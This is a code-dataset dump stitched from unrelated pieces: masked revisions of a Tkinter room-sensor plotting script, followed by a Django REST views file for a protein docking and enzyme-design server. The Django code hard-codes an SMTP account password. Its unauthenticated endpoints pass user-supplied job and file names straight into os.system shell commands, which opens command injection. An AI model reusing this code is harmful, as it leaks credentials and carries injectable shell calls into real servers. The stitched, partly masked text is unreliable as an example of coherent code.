tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('b')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('b')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_light():\n a.clear()\n a.plot(fds, light, 'g.--')\n a.set_ylabel('Ambient Light', color='g')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='g')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('g')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('g')\n toolbar.update()\n f.canvas.draw()\n\n\n<mask token>\n", "step-3": "<mask token>\nmatplotlib.use('TkAgg')\n<mask token>\ndata = loadtxt('data/data011c.txt', unpack=True, skiprows=1, comments='#')\ntemperature = data[7]\nhumidity = data[6]\nlight = data[8]\ntimer = data[9]\nyear, month, day, hour, minute, second = data[0], data[1], data[2], data[3\n ], data[4], data[5]\ndate_times = []\nfor i in range(len(year)):\n date_times.append(str(int(day[i])).zfill(2) + '.' + str(int(month[i])).\n zfill(2) + '.' + str(int(year[i])) + ' ' + str(int(hour[i])).zfill(\n 2) + ':' + str(int(minute[i])).zfill(2) + ':' + str(int(second[i]))\n .zfill(2))\npattern = '%d.%m.%Y %H:%M:%S'\nepoch = []\nfor datetimes in date_times:\n epoch.append(int(time.mktime(time.strptime(datetimes, pattern))))\ndts = map(datetime.datetime.fromtimestamp, epoch)\nfds = dates.date2num(dts)\nhfmt = dates.DateFormatter('%m/%d %H:%M')\nmaster = Tk()\nmaster.title('Room Sensor')\nmaster.geometry('1200x600')\nf = Figure(figsize=(9, 5), dpi=100)\nf.zorder\na = f.add_subplot(111)\ndataPlot = FigureCanvasTkAgg(f, master)\ndataPlot.draw()\ndataPlot.get_tk_widget().place(x=240, y=40)\ntoolbar = NavigationToolbar2TkAgg(dataPlot, master)\ntoolbar.update()\ntoolbar.place(x=240, y=560)\n\n\ndef show_temp():\n a.clear()\n a.plot(fds, temperature, 'r.--')\n a.set_ylabel('Temperature (Degrees Celsius)', color='r')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='r')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('r')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('r')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_humidity():\n a.clear()\n a.plot(fds, humidity, 'b.--')\n a.set_ylabel('Humidity %', color='b')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='blue')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('b')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('b')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_light():\n a.clear()\n a.plot(fds, light, 'g.--')\n a.set_ylabel('Ambient Light', color='g')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='g')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('g')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('g')\n toolbar.update()\n f.canvas.draw()\n\n\ntempButton = PhotoImage(file='images/temp_button.gif')\nhmdButton = PhotoImage(file='images/hmd_button.gif')\nlightButton = PhotoImage(file='images/light_button.gif')\ntempIcon = PhotoImage(file='images/temp_icon.gif')\nhmdIcon = PhotoImage(file='images/hmd_icon.gif')\nlightIcon = PhotoImage(file='images/light_icon.gif')\nButton1 = Button(master, image=tempButton, command=show_temp, height=50,\n width=109)\nButton2 = Button(master, image=hmdButton, command=show_humidity, height=50,\n width=109)\nButton3 = Button(master, image=lightButton, command=show_light, height=50,\n width=109)\nLabel1 = Label(master, image=tempIcon, height=50, width=50)\nLabel2 = Label(master, image=hmdIcon, height=50, width=50)\nLabel3 = Label(master, image=lightIcon, height=50, width=50)\nButton1.place(x=60, y=110)\nButton2.place(x=60, y=260)\nButton3.place(x=60, y=410)\nLabel1.place(x=180, y=111)\nLabel2.place(x=180, y=261)\nLabel3.place(x=180, y=411)\nshow_temp()\nmaster.mainloop()\n", "step-4": "import matplotlib, sys, datetime, time\nmatplotlib.use('TkAgg')\nfrom math import *\nfrom numpy import *\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\nfrom matplotlib.figure import Figure\nfrom matplotlib import dates\nimport matplotlib.pyplot as plt\nfrom Tkinter import *\ndata = loadtxt('data/data011c.txt', unpack=True, skiprows=1, comments='#')\ntemperature = data[7]\nhumidity = data[6]\nlight = data[8]\ntimer = data[9]\nyear, month, day, hour, minute, second = data[0], data[1], data[2], data[3\n ], data[4], data[5]\ndate_times = []\nfor i in range(len(year)):\n date_times.append(str(int(day[i])).zfill(2) + '.' + str(int(month[i])).\n zfill(2) + '.' + str(int(year[i])) + ' ' + str(int(hour[i])).zfill(\n 2) + ':' + str(int(minute[i])).zfill(2) + ':' + str(int(second[i]))\n .zfill(2))\npattern = '%d.%m.%Y %H:%M:%S'\nepoch = []\nfor datetimes in date_times:\n epoch.append(int(time.mktime(time.strptime(datetimes, pattern))))\ndts = map(datetime.datetime.fromtimestamp, epoch)\nfds = dates.date2num(dts)\nhfmt = dates.DateFormatter('%m/%d %H:%M')\nmaster = Tk()\nmaster.title('Room Sensor')\nmaster.geometry('1200x600')\nf = Figure(figsize=(9, 5), dpi=100)\nf.zorder\na = f.add_subplot(111)\ndataPlot = FigureCanvasTkAgg(f, master)\ndataPlot.draw()\ndataPlot.get_tk_widget().place(x=240, y=40)\ntoolbar = NavigationToolbar2TkAgg(dataPlot, master)\ntoolbar.update()\ntoolbar.place(x=240, y=560)\n\n\ndef show_temp():\n a.clear()\n a.plot(fds, temperature, 'r.--')\n a.set_ylabel('Temperature (Degrees Celsius)', color='r')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='r')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('r')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('r')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_humidity():\n a.clear()\n a.plot(fds, humidity, 'b.--')\n a.set_ylabel('Humidity %', color='b')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='blue')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('b')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('b')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_light():\n a.clear()\n a.plot(fds, light, 'g.--')\n a.set_ylabel('Ambient Light', color='g')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='g')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('g')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('g')\n toolbar.update()\n f.canvas.draw()\n\n\ntempButton = PhotoImage(file='images/temp_button.gif')\nhmdButton = PhotoImage(file='images/hmd_button.gif')\nlightButton = PhotoImage(file='images/light_button.gif')\ntempIcon = PhotoImage(file='images/temp_icon.gif')\nhmdIcon = PhotoImage(file='images/hmd_icon.gif')\nlightIcon = PhotoImage(file='images/light_icon.gif')\nButton1 = Button(master, image=tempButton, command=show_temp, height=50,\n width=109)\nButton2 = Button(master, image=hmdButton, command=show_humidity, height=50,\n width=109)\nButton3 = Button(master, image=lightButton, command=show_light, height=50,\n width=109)\nLabel1 = Label(master, image=tempIcon, height=50, width=50)\nLabel2 = Label(master, image=hmdIcon, height=50, width=50)\nLabel3 = Label(master, image=lightIcon, height=50, width=50)\nButton1.place(x=60, y=110)\nButton2.place(x=60, y=260)\nButton3.place(x=60, y=410)\nLabel1.place(x=180, y=111)\nLabel2.place(x=180, y=261)\nLabel3.place(x=180, y=411)\nshow_temp()\nmaster.mainloop()\n", "step-5": "## Import modules\nimport matplotlib, sys, datetime, time\nmatplotlib.use('TkAgg')\nfrom math import *\nfrom numpy import *\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\nfrom matplotlib.figure import Figure\nfrom matplotlib import dates\nimport matplotlib.pyplot as plt\nfrom Tkinter import *\n\n## Load the data\ndata = loadtxt(\"data/data011c.txt\", unpack = True, skiprows=1, comments = '#')\ntemperature = data[7]\nhumidity = data[6]\nlight = data[8]\ntimer = data[9]\nyear, month, day, hour, minute, second = data[0], data[1], data[2], data[3], data[4], data[5]\n\n## Make empty are to append the formatted dates\ndate_times = [] \n\n## Format the dates to dd.mm.yyyy hh:mm:ss\nfor i in range(len(year)): # can be the length of any arbitrary data set\n # this makes a nice long string of the \"day.month.year hour:min:sec\"\n date_times.append(str(int(day[i])).zfill(2) + \".\" + str(int(month[i])).zfill(2) + \".\" + str(int(year[i])) +\n \" \" + str(int(hour[i])).zfill(2) + \":\" + str(int(minute[i])).zfill(2) + \":\" + str(int(second[i])).zfill(2) )\n\n## String format of the date\npattern = '%d.%m.%Y %H:%M:%S'\n\n## Convert the list of date_times to epoch time in seconds\nepoch = []\nfor datetimes in date_times:\n epoch.append(int(time.mktime(time.strptime(datetimes, pattern))))\n\n## Convert epoch time to list of dateformatter objects\ndts = map(datetime.datetime.fromtimestamp, epoch)\nfds = dates.date2num(dts)\nhfmt = dates.DateFormatter('%m/%d %H:%M')\n\n## Create interface object\nmaster = Tk()\n## Set the title and size\nmaster.title(\"Room Sensor\")\nmaster.geometry(\"1200x600\")\n\n## Create figure to add onto interface window\nf = Figure(figsize=(9,5), dpi=100,)# facecolor='black')\n## Not sure what zorder does\nf.zorder\n## within the figure create subplot called a\na = f.add_subplot(111)\n\n## Add figure onto interface window\ndataPlot = FigureCanvasTkAgg(f, master)\ndataPlot.draw()\n## Turn figure into a widget\ndataPlot.get_tk_widget().place(x = 240, y = 40)\n## Add plot toolbar widget\ntoolbar = NavigationToolbar2TkAgg(dataPlot, master)\ntoolbar.update()\ntoolbar.place(x = 240, y = 560)\n\n## Functions to switch between plots \n\ndef show_temp():\n ## Clear the figure\n a.clear()\n ## Plot the temperature\n## a.plot(timer,temperature, \"r.--\")\n a.plot(fds,temperature, \"r.--\")\n a.set_ylabel(\"Temperature (Degrees Celsius)\", color = \"r\")\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color = \"r\")\n## a.set_ylim([20.0,30.0])\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7) \n tick.label.set_rotation(15)\n tick.label.set_color(\"r\")\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color(\"r\")\n ## Reset the toolbar\n toolbar.update()\n f.canvas.draw()\n \ndef show_humidity():\n a.clear()\n a.plot(fds,humidity, \"b.--\")\n a.set_ylabel(\"Humidity %\", color = \"b\")\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color = \"blue\")\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7) \n tick.label.set_rotation(15)\n tick.label.set_color(\"b\")\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color(\"b\")\n toolbar.update()\n f.canvas.draw()\n \ndef show_light():\n a.clear()\n a.plot(fds,light, \"g.--\")\n a.set_ylabel(\"Ambient Light\", color = \"g\")\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color = \"g\")\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7) \n tick.label.set_rotation(15)\n tick.label.set_color(\"g\")\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color(\"g\")\n toolbar.update()\n f.canvas.draw()\n\n## Load icon and button images\ntempButton = PhotoImage(file=\"images/temp_button.gif\")\nhmdButton = PhotoImage(file=\"images/hmd_button.gif\")\nlightButton = PhotoImage(file=\"images/light_button.gif\")\ntempIcon = PhotoImage(file=\"images/temp_icon.gif\")\nhmdIcon = PhotoImage(file=\"images/hmd_icon.gif\")\nlightIcon = PhotoImage(file=\"images/light_icon.gif\")\n\n## Create button widgets\nButton1 = Button(master, image = tempButton, command = show_temp, height = 50, width = 109)\nButton2 = Button(master, image = hmdButton, command = show_humidity, height = 50, width = 109)\nButton3 = Button(master, image = lightButton, command = show_light, height = 50, width = 109)\n## Create labels\nLabel1 = Label(master, image = tempIcon, height = 50, width = 50)\nLabel2 = Label(master, image = hmdIcon, height = 50, width = 50)\nLabel3 = Label(master, image = lightIcon, height = 50, width = 50)\n## Place the buttons and labels to specific location\nButton1.place(x=60,y=110)\nButton2.place(x=60,y=260)\nButton3.place(x=60,y=410)\nLabel1.place(x=180, y=111)\nLabel2.place(x=180, y=261)\nLabel3.place(x=180, y=411)\n## Start with the temperature graph showing\nshow_temp()\n## Run the main interface loop\nmaster.mainloop()\n", "step-ids": [ 2, 3, 5, 6, 7 ] }
[ 2, 3, 5, 6, 7 ]
# -*- coding: utf-8 -*- from __future__ import unicode_literals from dynamic_rest import viewsets from django.shortcuts import render import os from rest_framework import permissions from rest_framework.response import Response from rest_framework.permissions import AllowAny from rest_framework.decorators import api_view, permission_classes, detail_route, list_route from rest_framework import mixins from rdkit import Chem import random from Bio.PDB.PDBParser import PDBParser import time from Bio.PDB.PDBIO import PDBIO import residues_scanning_command import prep_dock import threading from rosetta_workflow_all_scripts import rosetta_protein_prep, get_cst_file, change_pos, design_analysis import rosetta_workflow_all_scripts from django.utils.datastructures import MultiValueDictKeyError import multiprocessing as mul import time from models import SubmitParamter, Onlinedock from django.core.files import File from email.mime.text import MIMEText from email.header import Header from smtplib import SMTP_SSL from email.mime.multipart import MIMEMultipart from email import encoders from email.message import Message from email.mime.base import MIMEBase from dynamic_rest import viewsets import serializers from rest_framework.parsers import JSONParser from polls.serializers import SubmitParamsSerializer, OnlinedockSerializer from django.http import JsonResponse import zipfile import tempfile def send_file_zipped(the_file, recipients, email_content, sender='[email protected]'): zf = tempfile.TemporaryFile(prefix='mail', suffix='zip') zip = zipfile.ZipFile(zf, 'w') zip.write(the_file) zip.close() zf.seek(0) ### Create the message themsg = MIMEMultipart() themsg['Subject'] = 'File %s' % the_file themsg['To'] = ', '.join(recipients) themsg['From'] = sender themsg.attach(MIMEText(email_content, 'html', 'utf-8')) themsg.preamble = 'I am not using a MIME-aware mail reader.\n' msg = MIMEBase('application', 'zip') msg.set_payload(zf.read()) encoders.encode_base64(msg) msg.add_header('Content-Disposition', 'attachment', filename=the_file) themsg.attach(msg) themsg = themsg.as_string() ### Send the message import smtplib host_server = 'smtp.qq.com' sender_mail_addr = '[email protected]' pwd = 'utxfxpzcpsnzbbcc' smtp = SMTP_SSL(host_server) smtp.set_debuglevel(1) smtp.ehlo(host_server) smtp.login(sender_mail_addr, pwd) smtp.sendmail(sender, recipients, themsg) smtp.quit() # smtp = smtplib.SMTP() # smtp.connect() # smtp.sendmail(sender, recipients, themsg) # smtp.close() def get_pov_value(file): f = open(file) lines = f.readlines() f.close() for line in lines: if line.startswith('1'): value = float(line.split('|')[1].strip()) return value def main(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr): """ :param job_name: :param mutation_radius: :param pov_radius: :param pH: :param mutation_info_list: :param protein: :param ligand_name: :param ligand_resseq: :param chain_id: :return: """ current_time = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime()) print current_time log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'log') wild_protein_name = protein.name # job_dir = os.path.join(log_dir, job_name + '_' + current_time) job_dir = os.path.join(log_dir, job_name) if not os.path.exists(job_dir): os.mkdir(job_dir) wild_protein_file = os.path.join(job_dir, wild_protein_name) protein_str = protein.read() prep_dock.save_to_file(wild_protein_file, protein_str) prepare_protein_name = wild_protein_name.split('.')[0] + '_prep.pdb' ### Prepare protein prep_dock.prep_protein(wild_protein_name, prepare_protein_name, job_dir, pH) ### make mutation prep_dock.get_mut_protein(job_dir, job_name, mut_info_list=mutation_info_list, mutation_radius=mutation_radius, prepare_protein_name=prepare_protein_name) prepare_protein = os.path.join(job_dir, prepare_protein_name) mutation_protein_name = job_name + '_mut-2.pdb' mutation_protein = os.path.join(job_dir, mutation_protein_name) ### prep_pov prep_dock.get_pro_lig_povin((prepare_protein_name, prepare_protein, chain_id, ligand_resseq, ligand_name), pov_radius, protein_type='prep') prep_pov = os.path.join(job_dir, 'pov', 'prep', 'prep.log') ### mut_pov prep_dock.get_pro_lig_povin((mutation_protein_name, mutation_protein, chain_id, ligand_resseq, ligand_name), pov_radius, protein_type='mut') mut_pov = os.path.join(job_dir, 'pov', 'mut', 'mut.log') ### plip # prep_dock.get_plip_file(prepare_protein, mutation_protein) ### TMalign # prep_dock.TMalign(prepare_protein, mutation_protein) onlinedock, create = Onlinedock.objects.get_or_create(job_name=job_name) prep_protein_file = File(open(prepare_protein)) mut_protein_file = File(open(mutation_protein)) prep_pov_file = File(open(prep_pov)) mut_pov_file = File(open(mut_pov)) prep_pov_value = get_pov_value(prep_pov) mut_pov_value = get_pov_value(mut_pov) onlinedock.prep_protein.save(prepare_protein_name, prep_protein_file) onlinedock.mut_protein.save(mutation_protein_name, mut_protein_file) onlinedock.prep_pov.save('prep.log', prep_pov_file) onlinedock.mut_pov.save('mut.log', mut_pov_file) onlinedock.prep_pov_value = prep_pov_value onlinedock.mut_pov_value = mut_pov_value onlinedock.save() os.chdir(job_dir) os.system('zip related_info ' + prepare_protein + ' ' + mutation_protein + ' ' + prep_pov + ' ' + mut_pov) email_content = "Wellcome to Jianping Lin Group server~~" print(os.path.curdir) related_info = os.path.join(os.path.curdir, 'related_info.zip') send_file_zipped(related_info, email_addr, email_content=email_content) def test(): job_dir = '/home/jianping/django_test/longge/polls/log/1111/pov' # job_id = 0 @api_view(['POST']) @permission_classes([permissions.AllowAny]) def online_docking(request): # current_time = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime()) # print current_time # log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'log') job_name = request.data['job_name'] mutation_radius = request.data['mutation_radius'] ### mutation radius pov_radius = str(request.data['pov_radius']) ### povelty radius pH = request.data['pH'] mutation_info_list = request.data['mutation_info_list'] ### [chain, position, residue, ] protein = request.data['protein_file'] ligand_name = request.data['ligand_name'] ligand_resseq = int(request.data['ligand_resseq']) chain_id = request.data['chain_id'] email_addr = request.data['email_addr'] # main(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr) t = threading.Thread(target=main, args=(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr)) t.setDaemon(False) t.start() return Response('Conguratulations, you have submitted successfully!!!') @api_view(['POST']) @permission_classes([permissions.AllowAny]) def prepare_protein(request): job_name = request.data['job_name'] protein = request.data['protein'] job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design') work_dir = os.path.join(job_dir, job_name) if not os.path.exists(work_dir): os.mkdir(work_dir) protein_name, protein_name_pure = protein.name, protein.name.split('.')[0] local_protein_file = os.path.join(work_dir, protein_name) protein_str = protein.read() prep_dock.save_to_file(local_protein_file, protein_str) os.chdir(work_dir) protein_renumber_name, protein_renumber = protein_name_pure + '_renumber', protein_name_pure + '_renumber.pdb' os.system( 'python ../../rosetta_workflow_all_scripts/PDB_renumber.py -i ' + protein_name + ' -a -r > ' + protein_renumber_name + '.pdb') params, create = SubmitParamter.objects.get_or_create(job_name=job_name) prt = File(open(local_protein_file)) prt_renumber = File(open(protein_renumber)) params.protein_file.save(protein_name, prt) params.protein_renumber_file.save(protein_renumber, prt_renumber) params.save() # return Response(params) serializer = SubmitParamsSerializer(params) return JsonResponse(serializer.data, safe=False) # return Response('Successfully') @api_view(['POST']) @permission_classes([permissions.AllowAny]) def first_step(request): job_name = request.data['job_name'] # protein = request.data['protein'] ligand = request.data['ligand'] other_ligands = request.data['other_ligands'] ### ['A','215','MG','A','218','HOH','A','217','ATP'] other_ligands = other_ligands.split('[')[1].split(']')[0].split(',') other_ligands = [str(i) for i in other_ligands] res_chain = request.data['res_chain'] # 'A' res_ligand_chain = request.data['res_ligand_chain'] ## 'A' res_ligand_ID = request.data['res_ligand_ID'] ### '216' res_ligand_name = request.data['res_ligand_name'] ### 'PRP' # design_ligand_name = request.data['design_ligand_name'] ### 'ABC' ### third step ### # CST_A_chain_name = request.data['CST_A_chain_name'] current_time = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime()) print current_time job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design') work_dir = os.path.join(job_dir, job_name) if not os.path.exists(work_dir): os.mkdir(work_dir) # protein_name, protein_name_pure = protein.name, protein.name.split('.')[0] # local_protein_file = os.path.join(work_dir, protein_name) # protein_str = protein.read() # prep_dock.save_to_file(local_protein_file, protein_str) ligand_name, ligand_name_pure = ligand.name, ligand.name.split('.')[0] local_ligand_file = os.path.join(work_dir, ligand_name) ligand_str = ligand.read() prep_dock.save_to_file(local_ligand_file, ligand_str) os.chdir(work_dir) # protein_renumber_name, protein_renumber = protein_name_pure + '_renumber', protein_name_pure + '_renumber.pdb' # os.system('python ../../rosetta_workflow_all_scripts/PDB_renumber.py -i ' + protein_name + ' -a -r > ' + protein_renumber_name + '.pdb') os.system('python ../../rosetta_workflow_all_scripts/design_ligand_prep.py ' + ligand_name) while True: if os.path.exists(ligand_name_pure+'.params'): break os.system('cp ../../rosetta_workflow_all_scripts/match.flags ./') os.system('cp ../../rosetta_workflow_all_scripts/match_grid.flags ./') for filename in os.listdir(work_dir): if filename.endswith('renumber.pdb'): protein_renumber_name = filename.split('.pdb')[0] protein_renumber = filename break prep_pdb, prep_pdb_pure = protein_renumber_name + '_prep.pdb', protein_renumber_name + '_prep' rosetta_protein_prep.prep_protein(protein_renumber, prep_pdb, res_chain, './') rosetta_protein_prep.get_ligand(prep_pdb, res_ligand_chain, res_ligand_ID, res_ligand_name) ### my code ### step = 3 other_ligands_class_list = [other_ligands[i: i+step] for i in range(0, len(other_ligands), step)] os.system('cp ' + protein_renumber_name + '_chain' + res_chain + '.pdb combi_ligands.pdb') if len(other_ligands) < 3: print 'There are no ligands that need to be retained' # os.system('cp ' + protein_renumber_name + '_chain' + res_chain + '.pdb combi_ligands.pdb') else: i = 0 for cls in other_ligands_class_list: combi_name = '_'.join(cls) print combi_name rosetta_protein_prep.get_ligand(protein_renumber, cls[0], cls[1], cls[2]) last_out_name = protein_renumber_name + '_chain' + combi_name + '.pdb' last_out_name_mol2 = protein_renumber_name + '_chain' + combi_name + '.mol2' rosetta_protein_prep.combi_pdb('combi_ligands.pdb', last_out_name) if cls[2] != 'HOH' and len(cls[2]) == 3: i += 1 os.system('obabel -ipdb ' + last_out_name + ' -omol2 -O ' + last_out_name_mol2) os.system('python /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/scripts/python/public/molfile_to_params.py ' + last_out_name_mol2 + '-n LG' + str(i)) os.system("sed -i '/^TER/c'TER'' combi_ligands.pdb") rosetta_protein_prep.get_grid('../../rosetta_workflow_all_scripts/match_grid.flags', prep_pdb_pure, res_chain, res_ligand_chain, res_ligand_ID, res_ligand_name) rosetta_protein_prep.get_match_flags('../../rosetta_workflow_all_scripts/match.flags', res_chain, 'ABC', prep_pdb_pure, ligand_name_pure) os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/gen_lig_grids.linuxgccrelease -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database @match_grid_out.flags') os.system('cp ' + protein_renumber + ' ./renumber.pdb') ### update database ### # params, created = SubmitParamter.objects.get_or_create( # job_name=job_name, # other_ligands=other_ligands, # res_chain=res_chain, # res_ligand_chain=res_ligand_chain, # res_ligand_name=res_ligand_name # ) params = SubmitParamter.objects.get(job_name=job_name) params.other_ligands = other_ligands params.res_chain = res_chain params.res_ligand_chain = res_ligand_chain params.res_ligand_name = res_ligand_name # prt = File(open(local_protein_file)) lgd = File(open(local_ligand_file)) # prt_renumber = File(open(protein_renumber)) ligand_params_file = File(open(ligand_name_pure+'.params')) pos_file = os.path.join('./inputs', prep_pdb_pure+'_chain'+res_chain+'.pdb_0.pos') pos_file_name = prep_pdb_pure+'_chain'+res_chain+'.pdb_0.pos' inputs_pos_file = File(open(pos_file)) # params.protein_file.save(protein_name, prt) params.ligand_file.save(ligand_name, lgd) # params.protein_renumber_file.save(protein_renumber, prt_renumber) params.ligand_params_file.save(ligand_name_pure+'.params', ligand_params_file) params.inputs_pos_file.save(pos_file_name, inputs_pos_file) params.save() serializer = SubmitParamsSerializer(params) return JsonResponse(serializer.data, safe=False) # return Response('Successful') @api_view(['POST']) @permission_classes([permissions.AllowAny]) def second_step(request): job_name = request.data['job_name'] constrain_info = request.data['constrain_info'] ### A:216:PRP:O2B:PB:O3A:A:131:ASP:OD2:CG:CB-O2B:PB:O3A-0.20:10.0:10.0:10.0:10.0:10.0-100.0:60.0:60.0:60.0:60.0:60.0-0:360.0:360.0:360.0:360.0:360.0-1:1:1:1:1:1, or A:216:PRP:O2B:PB:O3A:A:131:ASP:OD2:CG:CB-type:OH cat_ID = request.data['cat_ID'] # cst1 = request.data['cst1'] # cst2 = request.data['cst2'] # cst3 = request.data['cst3'] # three_atoms = request.data['three_atoms'] ### O2B:PB:O3A, type:OH # CST_A_chain_name = request.data['CST_A_chain_name'] ### 'A' # CST_A_residue_ID = int(request.data['CST_A_residue_ID']) ### '216' # CST_A_residue_name = request.data['CST_A_residue_name'] ### 'PRP' # Atom_A1 = request.data['Atom_A1'] ### 'O2B' # Atom_A2 = request.data['Atom_A2'] ### 'PB' # Atom_A3 = request.data['Atom_A3'] ### 'O3A' # CST_B_chain_name = request.data['CST_B_chain_name'] ### 'A' # CST_B_residue_ID = int(request.data['CST_B_residue_ID']) ### '131' # CST_B_residue_name = request.data['CST_B_residue_name'] ### 'ASP' # Atom_B1 = request.data['Atom_B1'] ### 'OD2' # Atom_B2 = request.data['Atom_B2'] ### 'CG' # Atom_B3 = request.data['Atom_B3'] ### 'CB' renumber_pdb = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design', job_name, 'renumber.pdb') work_dir = os.path.dirname(renumber_pdb) os.chdir(work_dir) ### my code ### #_______________________________________________________________ constrain_info_list = [cst.split('-') for cst in constrain_info.split(',') if cst is not ''] # for constrain_info in constrain_info_list: # if len(constrain_info) == 2: parse = PDBParser(PERMISSIVE=1) structure = parse.get_structure('renumber.pdb', renumber_pdb) w = open('match.cst', 'w') w.write('# cst constraint descriptior for renumber.pdb' + '\n\n\n') w.write('# NOTE\n\n\n') for idx, cst_info in enumerate(constrain_info_list): cst_result = get_cst_file.measure_dist_angle_dihe_new(structure, idx, cst_info) w.writelines(cst_result) w.close() # get_cst_file.measure_dist_angle_dihe(renumber_pdb, 'renumber.pdb', constrain_info_list, 'match.cst') # ____________________________________________________________ # get_cst_file.measure_dist_angle_dihe(renumber_pdb, 'renumber.pdb', [(CST_A_chain_name, CST_A_residue_ID, CST_A_residue_name, # Atom_A1, Atom_A2, Atom_A3, CST_B_chain_name, # CST_B_residue_ID, CST_B_residue_name, Atom_B1, # Atom_B2, Atom_B3), ], 'match.cst') os.system('cp match.cst ./inputs') inputs_dir = os.path.join(work_dir, 'inputs') os.chdir(inputs_dir) for filename in os.listdir(inputs_dir): if filename.endswith('_0.pos'): pos = os.path.join(inputs_dir, filename) os.system('cp ' + pos + ' ./pos.bk') change_pos.change_pos(filename, cat_ID) params = SubmitParamter.objects.get(job_name=job_name) params.constrain_info = constrain_info params.cat_ID = cat_ID match_cst_file = File(open('match.cst')) params.match_cst_file.save('match.cst', match_cst_file) params.save() # for filename in os.listdir(inputs_dir): # if filename.endswith('.params'): # os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/CstfileToTheozymePDB.linuxgccrelease -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database -extra_res_fa ' + filename + ' -match:geometric_constraint_file match.cst') return Response('Successful') @api_view(['POST']) @permission_classes([permissions.AllowAny]) def third_step(request): job_name = request.data['job_name'] # user_specialized_cst_file = request.data['user_specialized_cst_file'] job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design') work_dir = os.path.join(job_dir, job_name) os.chdir(work_dir) # if user_specialized_cst_file: # cst_str = user_specialized_cst_file.read() # user_defined_cst_file = os.path.join(work_dir, 'inputs', 'match.cst') # prep_dock.save_to_file(user_defined_cst_file, cst_str) try: cst_file = request.data['cst_file'] cst_str = cst_file.read() user_defined_cst_file = os.path.join(work_dir, 'inputs', 'match.cst') prep_dock.save_to_file(user_defined_cst_file, cst_str) params = SubmitParamter.objects.get(job_name=job_name) new_cst_file = File(open(user_defined_cst_file)) params.user_defined_cst_file.save('match.cst', new_cst_file) params.save() except MultiValueDictKeyError: pass try: os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/match.linuxgccrelease @match_out.flags -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database') # params = SubmitParamter.objects.get(job_name=job_name) # UM_pdb_list = [] # for filename in os.listdir(os.path.join(work_dir, 'inputs')): # if filename.startswith('UM'): # file = os.path.join(work_dir, 'inputs', filename) # UM_pdb = File(open(file)) UM_pdb_list = [filename for filename in os.listdir(os.path.join(work_dir, 'inputs')) if filename.startswith('UM')] params.UM_pdb_count = len(UM_pdb_list) params.save() # return Response('Successful, there are {} UM***.pdb'.format(len(UM_pdb_list))) serializer = SubmitParamsSerializer(params) return JsonResponse(serializer.data, safe=False) except: return Response('Failed, please check the constraint file and submit again !!!') from functools import wraps def timethis(func): 